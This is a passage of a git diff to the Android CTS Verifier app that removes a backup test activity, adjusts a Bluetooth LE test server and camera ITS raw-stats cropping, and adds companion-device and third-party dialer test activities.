-                Log.e(TAG, "Couldn't find test file but this may be fine...", e);
-            } finally {
-                if (scanner != null) {
-                    scanner.close();
-                }
-            }
-            items.add(new FileBackupItem(fileName, contents.toString()));
-        }
-
-        @Override
-        protected void onPostExecute(List<BackupItem> result) {
-            super.onPostExecute(result);
-            setProgressBarIndeterminateVisibility(false);
-            mAdapter.clear();
-            mAdapter.addAll(result);
-        }
-    }
-
-    class GenerateValuesTask extends AsyncTask<Void, Void, Exception> {
-
-        @Override
-        protected Exception doInBackground(Void... params) {
-            Random random = new Random();
-            generatePreferenceGroup1(random);
-            generatePreferenceGroup2(random);
-            try {
-                generateTestFile(TEST_FILE_1, random);
-                generateTestFile(TEST_FILE_2, random);
-            } catch (FileNotFoundException e) {
-                return e;
-            }
-            return null;
-        }
-
-        private void generatePreferenceGroup1(Random random) {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
-            SharedPreferences.Editor editor = prefs.edit();
-            editor.putInt(INT_PREF, (random.nextInt(100) + 1));
-            editor.putBoolean(BOOL_PREF, random.nextBoolean());
-            editor.commit();
-        }
-
-        private void generatePreferenceGroup2(Random random) {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
-            SharedPreferences.Editor editor = prefs.edit();
-            editor.putFloat(FLOAT_PREF, random.nextFloat());
-            editor.putLong(LONG_PREF, random.nextLong());
-            editor.putString(STRING_PREF, "Random number: " + (random.nextInt(100) + 1));
-            editor.commit();
-        }
-
-        private void generateTestFile(String fileName, Random random)
-                throws FileNotFoundException {
-            File file = new File(getFilesDir(), fileName);
-            PrintWriter writer = new PrintWriter(file);
-            writer.write("Random number: " + (random.nextInt(100) + 1));
-            writer.close();
-        }
-
-        @Override
-        protected void onPostExecute(Exception exception) {
-            super.onPostExecute(exception);
-            if (exception != null) {
-                Log.e(TAG, "Couldn't generate test data...", exception);
-                Toast.makeText(BackupTestActivity.this, R.string.bu_generate_error,
-                        Toast.LENGTH_LONG).show();
-            } else {
-                showDialog(INSTRUCTIONS_DIALOG_ID);
-
-                BackupManager backupManager = new BackupManager(BackupTestActivity.this);
-                backupManager.dataChanged();
-
-                new LoadBackupItemsTask().execute();
-            }
-        }
-    }
-
-    @Override
-    public Dialog onCreateDialog(int id, Bundle args) {
-        switch (id) {
-            case INSTRUCTIONS_DIALOG_ID:
-                return new AlertDialog.Builder(this)
-                    .setIcon(android.R.drawable.ic_dialog_info)
-                    .setTitle(R.string.backup_test)
-                    .setMessage(R.string.bu_instructions)
-                    .setPositiveButton(android.R.string.ok, null)
-                    .setNeutralButton(R.string.bu_settings, new DialogInterface.OnClickListener() {
-                        @Override
-                        public void onClick(DialogInterface dialog, int which) {
-                            startActivity(new Intent(Settings.ACTION_PRIVACY_SETTINGS));
-                        }
-                    })
-                    .create();
-
-            default:
-                return super.onCreateDialog(id, args);
-        }
-    }
-
-    interface BackupItem {
-        int getViewType();
-        View getView(LayoutInflater inflater, int position, View convertView, ViewGroup parent);
-    }
-
-    static class CategoryBackupItem implements BackupItem {
-
-        private final int mTitleResId;
-
-        CategoryBackupItem(int titleResId) {
-            mTitleResId = titleResId;
-        }
-
-        @Override
-        public int getViewType() {
-            return 0;
-        }
-
-        @Override
-        public View getView(LayoutInflater inflater, int position, View convertView,
-                ViewGroup parent) {
-            TextView view = (TextView) convertView;
-            if (convertView == null) {
-                view = (TextView) inflater.inflate(R.layout.test_category_row, parent, false);
-            }
-            view.setText(mTitleResId);
-            return view;
-        }
-    }
-
-    static class PreferenceBackupItem implements BackupItem {
-
-        private final String mGroup;
-
-        private final String mName;
-
-        private final String mValue;
-
-        PreferenceBackupItem(String group, String name, String value) {
-            mGroup = group;
-            mName = name;
-            mValue = value;
-        }
-
-        @Override
-        public int getViewType() {
-            return 1;
-        }
-
-        @Override
-        public View getView(LayoutInflater inflater, int position, View convertView,
-                ViewGroup parent) {
-            TextView view = (TextView) convertView;
-            if (convertView == null) {
-                view = (TextView) inflater.inflate(R.layout.bu_preference_row, parent, false);
-            }
-            view.setText(mGroup + "/" + mName + " : " + mValue);
-            return view;
-        }
-    }
-
-    static class FileBackupItem implements BackupItem {
-
-        private final String mName;
-
-        private final String mContents;
-
-        FileBackupItem(String name, String contents) {
-            mName = name;
-            mContents = contents;
-        }
-
-        @Override
-        public int getViewType() {
-            return 2;
-        }
-
-        @Override
-        public View getView(LayoutInflater inflater, int position, View convertView,
-                ViewGroup parent) {
-            TextView view = (TextView) convertView;
-            if (convertView == null) {
-                view = (TextView) inflater.inflate(R.layout.bu_preference_row, parent, false);
-            }
-            view.setText(mName + " : " + mContents);
-            return view;
-        }
-    }
-
-    class BackupAdapter extends BaseAdapter {
-
-        private final LayoutInflater mLayoutInflater;
-
-        private final List<BackupItem> mItems = new ArrayList<BackupItem>();
-
-        public BackupAdapter(Context context) {
-            mLayoutInflater = (LayoutInflater) context.getSystemService(LAYOUT_INFLATER_SERVICE);
-        }
-
-        public void clear() {
-            mItems.clear();
-        }
-
-        public void addAll(List<BackupItem> items) {
-            mItems.addAll(items);
-            notifyDataSetChanged();
-        }
-
-        @Override
-        public int getCount() {
-            return mItems.size();
-        }
-
-        @Override
-        public BackupItem getItem(int position) {
-            return mItems.get(position);
-        }
-
-        @Override
-        public long getItemId(int position) {
-            return position;
-        }
-
-        @Override
-        public boolean isEnabled(int position) {
-            return false;
-        }
-
-        @Override
-        public int getViewTypeCount() {
-            return 3;
-        }
-
-        @Override
-        public int getItemViewType(int position) {
-            return getItem(position).getViewType();
-        }
-
-        @Override
-        public View getView(int position, View convertView, ViewGroup parent) {
-            return getItem(position).getView(mLayoutInflater, position, convertView, parent);
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index 464761f..f5e29ba 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -719,7 +719,6 @@
 
         characteristic =
                 new BluetoothGattCharacteristic(CHARACTERISTIC_RESULT_UUID, 0x0A, 0x11);
-        characteristic.addDescriptor(descriptor);
 
         BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
         characteristic.addDescriptor(descriptor_encrypted);
@@ -733,24 +732,20 @@
         // Registered the characteristic of read permission for operation confirmation.
         characteristic =
                 new BluetoothGattCharacteristic(CHARACTERISTIC_NO_READ_UUID, 0x0A, 0x10);
-        characteristic.addDescriptor(descriptor);
         service.addCharacteristic(characteristic);
 
         // Registered the characteristic of write permission for operation confirmation.
         characteristic =
                 new BluetoothGattCharacteristic(CHARACTERISTIC_NO_WRITE_UUID, 0x0A, 0x01);
-        characteristic.addDescriptor(descriptor);
         service.addCharacteristic(characteristic);
 
         // Registered the characteristic of authenticate (Encrypted) for operation confirmation.
         characteristic =
                 new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A, 0x02);
-        characteristic.addDescriptor(descriptor);
         service.addCharacteristic(characteristic);
 
         characteristic =
                 new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A, 0x20);
-        characteristic.addDescriptor(descriptor);
         service.addCharacteristic(characteristic);
 
         // Add new Characteristics(Indicate)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
index 44029a9..85d2a18 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
@@ -149,7 +149,7 @@
         previewView.setOnClickListener(new OnClickListener() {
             @Override
             public void onClick(View v) {
-                if (!mTakingPicture) {
+                if (mPreviewActive && !mTakingPicture) {
                     mTakingPicture = true;
                     shutterStartTime = System.currentTimeMillis();
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 8710096..72b7693 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -726,10 +726,13 @@
                     int format = readers[i].getImageFormat();
                     if (format == ImageFormat.RAW_SENSOR) {
                         if (mCaptureRawIsStats) {
+                            int aaw = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics)
+                                              .width();
+                            int aah = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics)
+                                              .height();
                             jsonSurface.put("format", "rawStats");
-                            jsonSurface.put("width", readers[i].getWidth()/mCaptureStatsGridWidth);
-                            jsonSurface.put("height",
-                                    readers[i].getHeight()/mCaptureStatsGridHeight);
+                            jsonSurface.put("width", aaw/mCaptureStatsGridWidth);
+                            jsonSurface.put("height", aah/mCaptureStatsGridHeight);
                         } else if (mCaptureRawIsDng) {
                             jsonSurface.put("format", "dng");
                         } else {
@@ -1026,6 +1029,9 @@
                             CaptureRequest.CONTROL_AWB_MODE_AUTO);
                     req.set(CaptureRequest.CONTROL_AWB_LOCK, false);
                     req.set(CaptureRequest.CONTROL_AWB_REGIONS, regionAWB);
+                    // ITS only turns OIS on when it's explicitly requested
+                    req.set(CaptureRequest.LENS_OPTICAL_STABILIZATION_MODE,
+                            CaptureRequest.LENS_OPTICAL_STABILIZATION_MODE_OFF);
 
                     if (evComp != 0) {
                         req.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, evComp);
@@ -1170,14 +1176,16 @@
                     if (height <= 0) {
                         height = ItsUtils.getMaxSize(sizes).getHeight();
                     }
-                    if (mCaptureStatsGridWidth <= 0) {
-                        mCaptureStatsGridWidth = width;
-                    }
-                    if (mCaptureStatsGridHeight <= 0) {
-                        mCaptureStatsGridHeight = height;
-                    }
 
-                    // TODO: Crop to the active array in the stats image analysis.
+                    // The stats computation only applies to the active array region.
+                    int aaw = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics).width();
+                    int aah = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics).height();
+                    if (mCaptureStatsGridWidth <= 0 || mCaptureStatsGridWidth > aaw) {
+                        mCaptureStatsGridWidth = aaw;
+                    }
+                    if (mCaptureStatsGridHeight <= 0 || mCaptureStatsGridHeight > aah) {
+                        mCaptureStatsGridHeight = aah;
+                    }
 
                     outputSizes[i] = new Size(width, height);
                 }
@@ -1569,9 +1577,18 @@
                             long startTimeMs = SystemClock.elapsedRealtime();
                             int w = capture.getWidth();
                             int h = capture.getHeight();
+                            int aaw = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics)
+                                              .width();
+                            int aah = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics)
+                                              .height();
+                            int aax = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics)
+                                              .left;
+                            int aay = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics)
+                                              .top;
                             int gw = mCaptureStatsGridWidth;
                             int gh = mCaptureStatsGridHeight;
-                            float[] stats = StatsImage.computeStatsImage(img, w, h, gw, gh);
+                            float[] stats = StatsImage.computeStatsImage(
+                                                             img, w, h, aax, aay, aaw, aah, gw, gh);
                             long endTimeMs = SystemClock.elapsedRealtime();
                             Log.e(TAG, "Raw stats computation takes " + (endTimeMs - startTimeMs) + " ms");
                             int statsImgSize = stats.length * 4;
@@ -1579,7 +1596,7 @@
                                 mSocketQueueQuota.release(img.length);
                                 mSocketQueueQuota.acquire(statsImgSize);
                             }
-                            ByteBuffer bBuf = ByteBuffer.allocateDirect(statsImgSize);
+                            ByteBuffer bBuf = ByteBuffer.allocate(statsImgSize);
                             bBuf.order(ByteOrder.nativeOrder());
                             FloatBuffer fBuf = bBuf.asFloatBuffer();
                             fBuf.put(stats);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
index b0eaf35..65e4970 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
@@ -18,6 +18,7 @@
 
 import android.content.Context;
 import android.graphics.ImageFormat;
+import android.graphics.Rect;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CaptureRequest;
@@ -123,6 +124,10 @@
         return getMaxSize(getOutputSizes(ccs, format));
     }
 
+    public static Rect getActiveArrayCropRegion(CameraCharacteristics ccs) {
+        return ccs.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
+    }
+
     private static Size[] getOutputSizes(CameraCharacteristics ccs, int format)
             throws ItsException {
         StreamConfigurationMap configMap = ccs.get(
@@ -187,13 +192,16 @@
             ByteBuffer buffer = planes[0].getBuffer();
             if (quota != null) {
                 try {
+                    Logt.i(TAG, "Start waiting for quota Semaphore");
                     quota.acquire(buffer.capacity());
+                    Logt.i(TAG, "Acquired quota Semaphore. Start reading image");
                 } catch (java.lang.InterruptedException e) {
                     Logt.e(TAG, "getDataFromImage error acquiring memory quota. Interrupted", e);
                 }
             }
             data = new byte[buffer.capacity()];
             buffer.get(data);
+            Logt.i(TAG, "Done reading jpeg image, format %d");
             return data;
         } else if (format == ImageFormat.YUV_420_888 || format == ImageFormat.RAW_SENSOR
                 || format == ImageFormat.RAW10 || format == ImageFormat.RAW12) {
@@ -201,7 +209,9 @@
             int dataSize = width * height * ImageFormat.getBitsPerPixel(format) / 8;
             if (quota != null) {
                 try {
+                    Logt.i(TAG, "Start waiting for quota Semaphore");
                     quota.acquire(dataSize);
+                    Logt.i(TAG, "Acquired quota Semaphore. Start reading image");
                 } catch (java.lang.InterruptedException e) {
                     Logt.e(TAG, "getDataFromImage error acquiring memory quota. Interrupted", e);
                 }
@@ -220,8 +230,9 @@
                 int pixelStride = planes[i].getPixelStride();
                 int bytesPerPixel = ImageFormat.getBitsPerPixel(format) / 8;
                 Logt.i(TAG, String.format(
-                        "Reading image: fmt %d, plane %d, w %d, h %d, rowStride %d, pixStride %d",
-                        format, i, width, height, rowStride, pixelStride));
+                        "Reading image: fmt %d, plane %d, w %d, h %d," +
+                        "rowStride %d, pixStride %d, bytesPerPixel %d",
+                        format, i, width, height, rowStride, pixelStride, bytesPerPixel));
                 // For multi-planar yuv images, assuming yuv420 with 2x2 chroma subsampling.
                 int w = (i == 0) ? width : width / 2;
                 int h = (i == 0) ? height : height / 2;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/StatsImage.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/StatsImage.java
index 037177c..c354d62 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/StatsImage.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/StatsImage.java
@@ -30,6 +30,7 @@
     }
 
     public native static float[] computeStatsImage(
-            byte[] img, int width, int height, int gridW, int gridH);
+            byte[] img, int width, int height,
+            int aaX, int aaY, int aaW, int aaH, int gridW, int gridH);
 
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
new file mode 100644
index 0000000..2661d42
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.companion;
+
+import android.bluetooth.BluetoothDevice;
+import android.companion.AssociationRequest;
+import android.companion.BluetoothDeviceFilter;
+import android.companion.CompanionDeviceManager;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.Toast;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.List;
+
+
+/**
+ * Test that checks that the {@link CompanionDeviceManager} API is functional
+ */
+public class CompanionDeviceTestActivity extends PassFailButtons.Activity {
+
+    private static final String LOG_TAG = "CompanionDeviceTestActi";
+    private static final int REQUEST_CODE_CHOOSER = 0;
+
+    private CompanionDeviceManager mCompanionDeviceManager;
+    private List<String> mInitialAssociations;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.companion_test_main);
+        setPassFailButtonClickListeners();
+
+        mCompanionDeviceManager = getSystemService(CompanionDeviceManager.class);
+
+        getPassButton().setEnabled(false);
+
+        findViewById(R.id.button).setOnClickListener(v -> test());
+    }
+
+    private void test() {
+        mInitialAssociations = mCompanionDeviceManager.getAssociations();
+
+        AssociationRequest request = new AssociationRequest.Builder()
+                .addDeviceFilter(new BluetoothDeviceFilter.Builder().build())
+                .build();
+        CompanionDeviceManager.Callback callback = new CompanionDeviceManager.Callback() {
+            @Override
+            public void onDeviceFound(IntentSender chooserLauncher) {
+                try {
+                    startIntentSenderForResult(chooserLauncher,
+                            REQUEST_CODE_CHOOSER, null, 0, 0, 0);
+                } catch (IntentSender.SendIntentException e) {
+                    fail(e);
+                }
+            }
+
+            @Override
+            public void onFailure(CharSequence error) {
+                fail(error);
+            }
+        };
+        mCompanionDeviceManager.associate(request, callback, null);
+    }
+
+    private void fail(Throwable reason) {
+        Log.e(LOG_TAG, "Test failed", reason);
+        fail(reason.getMessage());
+    }
+
+    private void fail(CharSequence reason) {
+        Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
+        Log.e(LOG_TAG, reason.toString());
+        setTestResultAndFinish(false);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE_CHOOSER) {
+
+            if (resultCode != RESULT_OK) fail("Activity result code " + resultCode);
+
+            List<String> newAssociations = mCompanionDeviceManager.getAssociations();
+            if (!newAssociations.containsAll(mInitialAssociations)) {
+                fail("New associations " + newAssociations
+                        + " lack some of the original items from "
+                        + mInitialAssociations);
+            }
+            if (newAssociations.size() != mInitialAssociations.size() + 1) {
+                fail("New associations " + newAssociations + " are not 1 item larger from initial "
+                        + mInitialAssociations);
+            }
+
+            BluetoothDevice associatedDevice
+                    = data.getParcelableExtra(CompanionDeviceManager.EXTRA_DEVICE);
+            String deviceAddress = associatedDevice.getAddress();
+            if (!newAssociations.contains(deviceAddress)) {
+                fail("Selected device is not present among new associations " + newAssociations);
+            }
+
+            mCompanionDeviceManager.disassociate(associatedDevice.getAddress());
+            List<String> associations = mCompanionDeviceManager.getAssociations();
+            if (associations.contains(deviceAddress)) {
+                fail("Disassociating device " + deviceAddress
+                        + " did not remove it from associations list"
+                        + associations);
+            }
+
+            if (!isFinishing()) {
+                getPassButton().setEnabled(true);
+            }
+
+        } else super.onActivityResult(requestCode, resultCode, data);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerCallTestService.java b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerCallTestService.java
new file mode 100644
index 0000000..add6119
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerCallTestService.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.dialer;
+
+import android.content.Intent;
+import android.os.IBinder;
+import android.telecom.InCallService;
+import java.util.Observable;
+import android.telecom.Call;
+
+public class DialerCallTestService extends InCallService {
+
+  private static DialerCallTestServiceObservable sObservable =
+      new DialerCallTestServiceObservable();
+
+  @Override
+  public IBinder onBind(Intent intent) {
+    return super.onBind(intent);
+  }
+
+  public static DialerCallTestServiceObservable getObservable() {
+    return sObservable;
+  }
+
+  public static class DialerCallTestServiceObservable extends Observable {
+    private boolean onIncoming;
+
+    public void setOnIncoming(boolean value) {
+      this.onIncoming = value;
+      setChanged();
+      notifyObservers(value);
+    }
+
+    public boolean getOnIncoming() {
+      return this.onIncoming;
+    }
+  }
+
+  @Override
+  public void onCallAdded(Call call) {
+    if (call.getState() == Call.STATE_RINGING) {
+      getObservable().setOnIncoming(true);
+    }
+  }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
new file mode 100644
index 0000000..bc5cdbc
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.dialer;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.TelecomManager;
+import android.view.View;
+import android.widget.Button;
+import android.widget.CheckBox;
+import android.widget.CompoundButton;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/** Tests that a third party dialer implements certain telecom intents. */
+public class DialerImplementsTelecomIntentsActivity extends PassFailButtons.Activity {
+
+  private Button mLaunchCallSettingsButton;
+  private CheckBox mLaunchCallSettingsCheckBox;
+  private Button mLaunchShortSmsAnswerButton;
+  private CheckBox mLaunchShortSmsAnswerCheckBox;
+  private Button mLaunchCallingAccountsSettingsButton;
+  private CheckBox mLaunchCallingAccountsSettingsCheckBox;
+  private Button mLaunchAccessibilitySettingsButton;
+  private CheckBox mLaunchAccessibilitySettingsCheckBox;
+
+  @Override
+  protected void onCreate(Bundle savedInstanceState) {
+    super.onCreate(savedInstanceState);
+    View view = getLayoutInflater().inflate(R.layout.dialer_telecom_intents, null);
+    setContentView(view);
+    setInfoResources(
+        R.string.dialer_telecom_intents_test,
+        R.string.dialer_telecom_intents_test_instructions,
+        -1);
+    setPassFailButtonClickListeners();
+    getPassButton().setEnabled(false);
+
+    mLaunchCallSettingsCheckBox = findViewById(R.id.dialer_telecom_intents_call_settings_check_box);
+    mLaunchShortSmsAnswerCheckBox = findViewById(R.id.dialer_telecom_intents_short_sms_check_box);
+    mLaunchCallingAccountsSettingsCheckBox =
+        findViewById(R.id.dialer_telecom_intents_calling_accounts_check_box);
+    mLaunchAccessibilitySettingsCheckBox =
+        findViewById(R.id.dialer_telecom_intents_accessibility_settings_check_box);
+
+    mLaunchCallSettingsCheckBox.setOnCheckedChangeListener(
+        (CompoundButton unusedButton, boolean unusedBoolean) -> onCheckedChangeListener());
+    mLaunchShortSmsAnswerCheckBox.setOnCheckedChangeListener(
+        (CompoundButton unusedButton, boolean unusedBoolean) -> onCheckedChangeListener());
+    mLaunchCallingAccountsSettingsCheckBox.setOnCheckedChangeListener(
+        (CompoundButton unusedButton, boolean unusedBoolean) -> onCheckedChangeListener());
+    mLaunchAccessibilitySettingsCheckBox.setOnCheckedChangeListener(
+        (CompoundButton unusedButton, boolean unusedBoolean) -> onCheckedChangeListener());
+
+    mLaunchCallSettingsButton = findViewById(R.id.dialer_telecom_intents_call_settings);
+    mLaunchCallSettingsButton.setOnClickListener(
+        (View unused) -> startActivity(new Intent(TelecomManager.ACTION_SHOW_CALL_SETTINGS)));
+
+    mLaunchShortSmsAnswerButton = findViewById(R.id.dialer_telecom_intents_short_sms);
+    mLaunchShortSmsAnswerButton.setOnClickListener(
+        (View unused) ->
+            startActivity(new Intent(TelecomManager.ACTION_SHOW_RESPOND_VIA_SMS_SETTINGS)));
+
+    mLaunchCallingAccountsSettingsButton =
+        findViewById(R.id.dialer_telecom_intents_calling_accounts);
+    mLaunchCallingAccountsSettingsButton.setOnClickListener(
+        (View unused) -> startActivity(new Intent(TelecomManager.ACTION_CHANGE_PHONE_ACCOUNTS)));
+
+    mLaunchAccessibilitySettingsButton =
+        findViewById(R.id.dialer_telecom_intents_accessibility_settings);
+    mLaunchAccessibilitySettingsButton.setOnClickListener(
+        (View unused) ->
+            startActivity(new Intent(TelecomManager.ACTION_SHOW_CALL_ACCESSIBILITY_SETTINGS)));
+  }
+
+  private void onCheckedChangeListener() {
+    if (mLaunchCallSettingsCheckBox.isChecked()
+        && mLaunchShortSmsAnswerCheckBox.isChecked()
+        && mLaunchCallingAccountsSettingsCheckBox.isChecked()
+        && mLaunchAccessibilitySettingsCheckBox.isChecked()) {
+      getPassButton().setEnabled(true);
+    } else {
+      getPassButton().setEnabled(false);
+    }
+  }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerIncomingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerIncomingCallTestActivity.java
new file mode 100644
index 0000000..5ce280d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerIncomingCallTestActivity.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.dialer;
+
+import android.os.Bundle;
+import android.view.View;
+import android.widget.ImageView;
+import android.widget.TextView;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.voicemail.DefaultDialerChanger;
+import java.util.Observable;
+import java.util.Observer;
+
+/** Tests that a third party dialer will receive incoming calls. */
+public class DialerIncomingCallTestActivity extends PassFailButtons.Activity implements Observer {
+
+  private DefaultDialerChanger mDefaultDialerChanger;
+  private ImageView mDialerIncomingCallStatusIcon;
+  private TextView mDialerIncomingCallInstructions;
+
+  @Override
+  protected void onCreate(Bundle savedInstanceState) {
+    super.onCreate(savedInstanceState);
+    View view = getLayoutInflater().inflate(R.layout.dialer_incoming_call, null);
+    setContentView(view);
+    setInfoResources(
+        R.string.dialer_incoming_call_test, R.string.dialer_incoming_call_test_instructions, -1);
+    setPassFailButtonClickListeners();
+    mDialerIncomingCallStatusIcon = (ImageView) findViewById(R.id.dialer_incoming_call_status);
+    mDialerIncomingCallInstructions =
+        (TextView) findViewById(R.id.dialer_check_incoming_call_explanation);
+
+    getPassButton().setEnabled(false);
+    DialerCallTestService.getObservable().addObserver(this);
+    mDefaultDialerChanger = new DefaultDialerChanger(this);
+  }
+
+  @Override
+  public void update(Observable observable, Object data) {
+    if (DialerCallTestService.getObservable().getOnIncoming()) {
+      getPassButton().setEnabled(true);
+      mDialerIncomingCallStatusIcon.setImageDrawable(getDrawable(R.drawable.fs_good));
+      mDialerIncomingCallInstructions.setText(R.string.dialer_incoming_call_detected);
+      mDefaultDialerChanger.setRestorePending(true);
+    }
+  }
+
+  @Override
+  protected void onDestroy() {
+    mDefaultDialerChanger.destroy();
+    DialerCallTestService.getObservable().deleteObserver(this);
+    super.onDestroy();
+  }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerShowsHunOnIncomingCallActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerShowsHunOnIncomingCallActivity.java
new file mode 100644
index 0000000..1dd521f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerShowsHunOnIncomingCallActivity.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.dialer;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.CheckBox;
